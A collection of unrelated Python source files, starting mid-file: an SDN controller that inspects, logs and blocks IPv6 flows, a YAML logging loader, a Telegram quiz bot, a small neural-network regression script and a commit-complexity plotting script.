                print("Rule added.")
            else:
                print("Could not add rule: {}".format(description))

    @staticmethod
    def add_flow(datapath, priority, match, actions, idle_timeout=0, hard_timeout=0, **record_dict):
        """
        This method will insert a flow into the Open vSwitch (or some other SDN switch) that this controller manages.
        :param datapath: The datapath device. (The traffic-normalizer, namely Janus)
        :param priority: The priority of this flow
        :param match: The fields to match packets against
        :param actions: What to do
        :param idle_timeout: Time (in seconds) that the flow will expire in, but if a match is made, this is refreshed.
        :param hard_timeout: Time (in seconds) that this flow will expire in.
        """
        ofproto = datapath.ofproto
        parser = datapath.ofproto_parser

        inst = [parser.OFPInstructionActions(ofproto.OFPIT_APPLY_ACTIONS, actions)]

        mod = parser.OFPFlowMod(
            datapath=datapath, priority=priority, match=match,
            instructions=inst, idle_timeout=idle_timeout, hard_timeout=hard_timeout
        )
        datapath.send_msg(mod)  # Send the flow mod to the switch (and the switch will insert it)

        expires_at = datetime.now() + timedelta(seconds=hard_timeout)  # add a value that if passed, the flow expires
        record_dict = record_dict.copy()
        record_dict['expiration_time'] = expires_at
        if priority is not 0:
            flows.insert(**record_dict)  # insert flow in database

    @set_ev_cls(ofp_event.EventOFPPacketIn, MAIN_DISPATCHER)
    def _packet_in_handler(self, ev):
        """
        Handle packet_in events. These are created whenever a packet is propagated from the
        SDN switch to the controller, because there was a table-miss
        (No flow could be matched to it from the pipeline). Pipeline and flow buckets are in OFP spec 1.3.1
        :param ev: Represents the event that was triggered. It contains all the data related.
        This method will pass the message to the analyser and the packet will either be forwarded or blocked
        """
        # EVENT & PACKET DATA
        msg = ev.msg  # Get the message that contains all the data for the event, to initialise necessary variables
        datapath = msg.datapath  # The Janus device (SDN switch) that generated this event. {in case of multiple Janus}
        ofproto = datapath.ofproto  # The OpenFlow protocol that the device uses (to use appropriate library)
        parser = datapath.ofproto_parser  # The OpenFlow protocol parser
        in_port = msg.match['in_port']  # The port of Janus from whence the packet came
        dpid = datapath.id  # The id of the Janus device that triggered this event
        pkt = packet.Packet(msg.data)  # The packet that triggered the event (All headers included)
        eth_pkt = pkt.protocols[0]  # Get L2 packet (Link-layer).
        ethertype = eth_pkt.ethertype  # The type indicates if this is an IPv4, IPv6, LLDP packet, etc.

        self.load_blocking_rules(datapath)  # Check if a new rule was added to the blacklist

        match_dict = {}  # Contains all the fields that will be added in the flow
        dst_mac = eth_pkt.dst
        src_mac = eth_pkt.src

        # L2 match
        match_dict['in_port'] = in_port
        match_dict['eth_type'] = ethertype
        match_dict['eth_src'] = src_mac
        match_dict['eth_dst'] = dst_mac

        # Use dictionary of current device (supports more than 1 Janus devices)
        # Add the source mac address of the packet as the key that identifies which port this address is connected to
        self.mac_to_port.setdefault(dpid, {})
        self.mac_to_port[dpid][src_mac] = in_port

        # ****Silently discard these ether types (IPv4, ARP, etc)**** #
        if ethertype in self.ethertypes_to_discard:
            return

        # Simply forward NDP messages without further actions
        if pkt.protocols[1].nxt == inet.IPPROTO_ICMPV6:
            msg_type = pkt.protocols[2].type_
            if msg_type in self.ndp_messages:
                # Check for replies to Janus' ping and add host addresses to RT
                if (dst_mac == self.temporary_mac_id) and (in_port is not self.wan_port):
                    ipv6_pkt = pkt.protocols[1]
                    if ipv6_pkt.src not in self.hosts:
                        self.hosts.append(ipv6_pkt.src)
                        routing.insert_address(ipv6_pkt.src)
                        print("The node at \""+ipv6_pkt.src+"\" reacted to probing.")
                else:
                    data = msg.data
                    # if the destination mac address is already learned, do something and forward the packet
                    if dst_mac in self.mac_to_port[dpid]:
                        out_port = self.mac_to_port[dpid][dst_mac]
                    # If mac is not known, then flood
                    else:
                        out_port = ofproto.OFPP_FLOOD

                    # construct action list.
                    actions = [parser.OFPActionOutput(out_port)]
                    out = parser.OFPPacketOut(datapath=datapath,
                                              buffer_id=msg.buffer_id,
                                              actions=actions,
                                              data=data,
                                              in_port=in_port)
                    datapath.send_msg(out)
                    print("Forwarded NDP message")
                return  # after processing NDP, return

        # Check if packet is IPv6
        if ethertype == ether_types.ETH_TYPE_IPV6:
            ipv6_pkt = pkt.get_protocol(ipv6.ipv6)
            # Send packet to the Engine for analysis/normalisation
            # Analysis results structure -> [TrustLevel, Action, AnalysisResult, ipv6.ipv6]
            analysis_results = syn_anal.analyse(ipv6_pkt, in_port, self.wan_port, self.hosts)
            # Forged results to avoid overhead of analysis phase (TESTING)
            # analysis_results = [TrustLevel.trusted, Action.forward, AnalysisResult.passed, ipv6_pkt]
            trust = analysis_results[0]
            action = analysis_results[1]
            justification = analysis_results[2]
            ipv6_pkt = analysis_results[3]
            # Replace old ipv6 header, with the returned ipv6 header
            pkt.protocols[1] = ipv6_pkt

            l4_protocol = "Unsupported/None"
            print(trust.value)
            print(action.value)
            print(justification.value)

            # Create match fields with normalized packet, to avoid installing flow for ambiguous values
            match_dict['ipv6_src'] = ipv6_pkt.src
            match_dict['ipv6_dst'] = ipv6_pkt.dst

            # If the packet does not use TCP for example, the method get_protocol(tcp) will return 'null'
            icmpv6_pkt = pkt.get_protocol(icmpv6.icmpv6)
            tcp_pkt = pkt.get_protocol(tcp.tcp)
            udp_pkt = pkt.get_protocol(udp.udp)

            # Check if the upper layer (L4) protocol is ICMPv6, TCP, or UDP
            if icmpv6_pkt:
                match_dict['ip_proto'] = inet.IPPROTO_ICMPV6
                match_dict['icmpv6_type'] = icmpv6_pkt.type_
                match_dict['icmpv6_code'] = icmpv6_pkt.code
                l4_protocol = "ICMPv6"
            elif tcp_pkt:
                match_dict['ip_proto'] = inet.IPPROTO_TCP
                match_dict['tcp_src'] = tcp_pkt.src_port
                match_dict['tcp_dst'] = tcp_pkt.dst_port
                l4_protocol = "TCP"
            elif udp_pkt:
                match_dict['ip_proto'] = inet.IPPROTO_UDP
                match_dict['udp_src'] = udp_pkt.src_port
                match_dict['udp_dst'] = udp_pkt.dst_port
                l4_protocol = "UDP"

            # Add record to logs
            logs.add_record(src_mac=src_mac, dst_mac=dst_mac, src_ip=ipv6_pkt.src, dst_ip=ipv6_pkt.dst,
                            protocol=l4_protocol, trust_level=trust.value, action=action.value,
                            justification=justification.value)

            # create the OFP match fields, in order to install flow mod
            match = parser.OFPMatch(**match_dict)

            # Log packet details
            self.logger.info("packet at PORT\"{0}\"\nFrom: {1}\nTo: {2}\n".format(in_port, src_mac, dst_mac))

            # if the destination mac address is already learned, do something and forward the packet
            if dst_mac in self.mac_to_port[dpid]:
                out_port = self.mac_to_port[dpid][dst_mac]
            # If mac is not known, then flood
            else:
                out_port = ofproto.OFPP_FLOOD

            # construct action list.
            actions = [parser.OFPActionOutput(out_port)]

            record_dict = match_dict.copy()
            record_dict['l4_protocol'] = l4_protocol
            record_dict['action'] = action.name

            # Check action and if return or drop, then return from function
            if action == Action.drop:
                self.logger.info(
                    "Packet at PORT\"{0}\" was dropped.\nFrom: {1}\nTo: {2}\n".format(in_port, src_mac, dst_mac)
                )
                return  # return, which implicitly means that the packet is dropped

            # Block flow for 8 hours
            elif action == Action.block:
                self.block_flow(datapath, match, hard_timeout=28800, **record_dict)
                self.logger.info(
                    "Packets for flow blocked!\nFrom: {0}\nTo: {1}\n".format(src_mac, dst_mac)
                )
                return

            # Insert trusted flow for 10 minutes
            elif (out_port != ofproto.OFPP_FLOOD) and (trust == TrustLevel.trusted):
                self.add_flow(datapath, 1, match, actions, hard_timeout=600, **record_dict)
            else:
                print("Multicasting..")

            # finally, create a new packet and serialize it
            new_pkt = packet.Packet()
            new_pkt.add_protocol(pkt.protocols[0])
            new_pkt.add_protocol(pkt.protocols[1])
            new_pkt.add_protocol(pkt.protocols[2])
            new_pkt.serialize()

            data = new_pkt.data
            out = parser.OFPPacketOut(datapath=datapath,
                                      buffer_id=msg.buffer_id,
                                      actions=actions,
                                      data=data,
                                      in_port=in_port)
            datapath.send_msg(out)
            return


from __future__ import annotations

import logging
import logging.config
import os
import re
from pathlib import Path
from typing import Any

_env_pattern = re.compile(r"\$\{(.*)\}")

logger = logging.getLogger(__name__)

def load_yaml(file_path: str | Path) -> dict[str, Any]:
    import yaml

    file_path = Path(file_path)

    if not file_path.exists():
        msg = "Logging config file not found: %s"
        raise FileNotFoundError(msg, file_path)

    def env_var_constructor(loader, node):  # noqa: ANN001 ANN202
        value = loader.construct_scalar(node)
        m = _env_pattern.match(value)
        if not m:
            return value  # pragma: no cover
        key, default = m.group(1).split(":-") if len(m.group(1).split(":-")) > 1 else (m.group(1), None)
        return os.environ.get(key, default)

    yaml.add_implicit_resolver("!env_var", _env_pattern, None, yaml.SafeLoader)
    yaml.add_constructor("!env_var", env_var_constructor, yaml.SafeLoader)

    with file_path.open() as f:
        logging_config = f.read()

    return yaml.load(logging_config, Loader=yaml.SafeLoader)

def dict_config_from_yaml(file_path: str | Path) -> None:
    conf = load_yaml(file_path)
    logging.config.dictConfig(conf)
    logger.debug("Logging configured")


from aiogram import Dispatcher, types
from aiogram.types import InlineKeyboardMarkup, InlineKeyboardButton
from config import bot

# @dp.message_handler(commands=['memes'])
async def memes(message: types.Message):
    photo = open('memes/ocr.jpeg', 'rb')
    await bot.send_photo(message.from_user.id, photo, caption='trick or treat')

async def quiz_1(message: types.Message):
    markup = InlineKeyboardMarkup()
    button_1 = InlineKeyboardButton("NEXT", callback_data="quiz_1_button")
    markup.add(button_1)

    question = "Кто выйграл ЧМ 2022?"
    answer = [
        "Англия",
        "Франция",
        "Бразилия",
        "Аргенитина",
        "Германия",
        "Испания",
    ]

    await bot.send_poll(
        chat_id=message.from_user.id,
        question=question,
        options=answer,
        is_anonymous=False,
        type="quiz",
        correct_option_id=3,
        explanation="Дурачок",
        open_period=10,
        reply_markup=markup
    )

def register_handlers_client(dp: Dispatcher):
    dp.register_message_handler(quiz_1, commands=['quiz'])
    dp.register_callback_query_handler(memes, text="memes_button")


import math
import random
import sklearn.neural_network
import numpy as np

class Perceptron:
    def __init__(self, weights):
        self.weights = weights
        self.output = 0
        self.delta = 0

    def process(self, inputs):
        sum = 0.0
        for i in range(len(inputs)):
            sum += self.weights[i] * inputs[i]
        sum += self.weights[len(inputs)]
        return sum

    def activate(self, inputs):
        sum = self.process(inputs)
        return 1.0 / (1.0 + math.exp(-sum))

    def inverse_activate(self):
        return self.output * (1.0 - self.output)

    def __str__(self):
        return str(self.weights) + " " + str(self.output) + " " + str(self.delta) + "\n"

def initializare(noIn, noOut, noOfHiddenNeurons):
    net = []
    # for j in range(nrOfHLayers):
    #     HL = []  # hidden layers
    #     for i in range(noIn):
    #         w = [random.random() for _ in range(noIn)]  # weights
    #         HL.append(Perceptron(w))
    HL = [Perceptron([random.random() for _ in range(noIn + 1)]) for _ in range(noOfHiddenNeurons)]
    net.append(HL)
    for i in range(noIn - 1):
        HL = [Perceptron([random.random() for _ in range(noOfHiddenNeurons + 1)]) for _ in range(noOfHiddenNeurons)]
        net.append(HL)

    OL = [Perceptron([random.random() for _ in range(noOfHiddenNeurons + 1)]) for _ in range(noOut)]
    #     = []  # output layer
    # for i in range(noOut):
    #     w = [random.random() for i in range(noIn)]  # output weights
    #     OL.append(Perceptron(w))
    net.append(OL)
    return net

def forwardPropagation(net, input):
    for layer in net:
        newInputs = []
        for neuron in layer:
            neuron.output = neuron.activate(input)
            newInputs.append(neuron.output)
        input = newInputs
    return input

def backwardPropagation(net, expected):
    for i in range(len(net) - 1, 0, -1):
        current_layer = net[i]
        errors = []

        if i == len(net) - 1:  # output layer
            for j in range(len(current_layer)):
                error = expected - current_layer[j].output
                errors.append(error)
        else:  # a hidden layer
            for j in range(len(current_layer)):
                current_error = 0.0
                next_layer = net[i + 1]
                for neuron in next_layer:
                    current_error += neuron.delta * neuron.weights[j]
                errors.append(current_error)
        for j in range(len(current_layer)):
            current_layer[j].delta = errors[j] * current_layer[j].inverse_activate()

def update(net, example, learningRate):
    for i in range(len(net)):
        inputs = example[:-1]
        if i > 0:
            inputs = [neuron.output for neuron in net[i - 1]]
        for neuron in net[i]:
            for j in range(len(inputs)):
                neuron.weights[j] += learningRate * neuron.delta * inputs[j]
            neuron.weights[-1] += learningRate * neuron.delta

def trainRegression(epochCount, lr, input, output):
    net = initializare(len(input[0]), 1, 5)
    for epoch in range(epochCount):
        for i in range(len(input)):
            forwardPropagation(net, input[i])
            backwardPropagation(net, output[i])
            update(net, input[i], lr)
    return net

def predictRegression(net, input):
    computedOutputs = []
    for i in range(len(input)):
        out = forwardPropagation(net, input[i])
        computedOutputs.append(out[0])
    return computedOutputs

def readFromFile(file):
    with open(file, 'r') as f:
        cols = int(f.readline())
        lines = int(f.readline())
        x = []
        y = []
        for line in f.readlines():
            line = line.strip()
            if len(line) > 0:
                elems = line.split(",")
                list = [float(elem) for elem in elems]
                x.append(list[:cols - 1])
                y.append(list[-1])
    return cols, lines, x, y

def writeToFile(file, accuracy):
    with open(file, "w") as f:
        f.write(str(accuracy) + '\n')

def calculateError(predicted_output, real_output):
    sum = 0
    for i in range(len(real_output)):
        sum += (real_output[i] - predicted_output[i]) ** 2
    return sum / len(real_output)

def runLReg(inputTrain, outputTrain, inputTest, outputTest, learningRate, noEpochs):
    ann = sklearn.neural_network.MLPRegressor((48,), "logistic", "sgd")
    ann.fit(inputTrain, outputTrain)
    ann.predict(inputTrain)

    computedOutputs = ann.predict(inputTest)
    print("Eroare: ", calculateError(computedOutputs, outputTest))

def run():
    epochs = 8000
    learningRate = 0.001
    cols, lines, input, output = readFromFile("hard_parkinson_dragos_01_train")
    cols_test, lines_test, input_test, output_test = readFromFile("hard_parkinson_dragos_01_test")
    # coeffs = trainRegression(epochs, learningRate, input, output)
    # predicted_output = predictRegression(coeffs, input_test)
    # accuracy = calculateError(predicted_output, output_test)
    # print(accuracy)
    runLReg(input, output, input_test, output_test, learningRate, epochs)

run()


import pydriller
import matplotlib.pyplot as plt
from numpy import polyfit, poly1d

def only_devoted_committers(directory, branch):
    all_committers = {}
    devoted_committers = []
    total_commit = 0
    for commit in pydriller.RepositoryMining(path_to_repo=directory, only_in_branch=branch).traverse_commits():
            total_commit += 1

            if commit.committer.name not in all_committers:
                all_committers[commit.committer.name] = 1
            else:
                all_committers[commit.committer.name] += 1
    print(f'List of all committers: {all_committers}')
    print(f'Total commit: {total_commit}')
    for committer in all_committers:
        if all_committers[committer] > 0.01 * total_commit and committer != "GitHub":  ## Keep only known committer name
            devoted_committers.append(committer)

    return devoted_committers

def create_graph(x, y, y_mean, project_name, person):
    plt.plot(x, y)
    plt.plot(x, y_mean, label="mean")
    plt.legend()
    plt.title("Complexité moyenne des fichiers modifiés par commit: " + person)
    plt.xlabel('Nième commit')
    plt.ylabel('Complexite moyenne')
    plt.savefig(f"Resultats/{project_name}/{person}_plot_graph.png", bbox_inches="tight", dpi=800, quality=100)
    plt.close()
    print(f'Plot graph for {person} created')

def create_bar_graph(x, y, project, person):
    plt.bar(x, y, 0.5)
    plt.title("Occurence des rangs de complexité moyenne par commit: " + person)
    plt.xlabel("Rang de complexité moyenne")
    plt.ylabel("Occurence")
    plt.savefig(f"Resultats/{project}/{person}_bar_graph.png", bbox_inches="tight", dpi=800, quality=100)
    plt.close()
    print(f'Bar graph for {person} created')

def create_complexity_mean_plots(moyenne, project):
    for committer in moyenne:
        x = moyenne[committer][2]
        y = moyenne[committer][0]
        plt.scatter(x, y, label=committer)

    plt.title("Complexité moyenne en fonction du nombre de commit réalisé par un developpeur")
    plt.xlabel('Nombre de commits')
    plt.ylabel('Complexité moyenne')
    plt.legend(loc="best", bbox_to_anchor=(1, 1))
    plt.savefig(f"Resultats/{project}/complexite_moyenne_{project}.png", dpi=800, quality=100, bbox_inches="tight")
    plt.close()
    print(f'Mean plots complexity for {project} project created')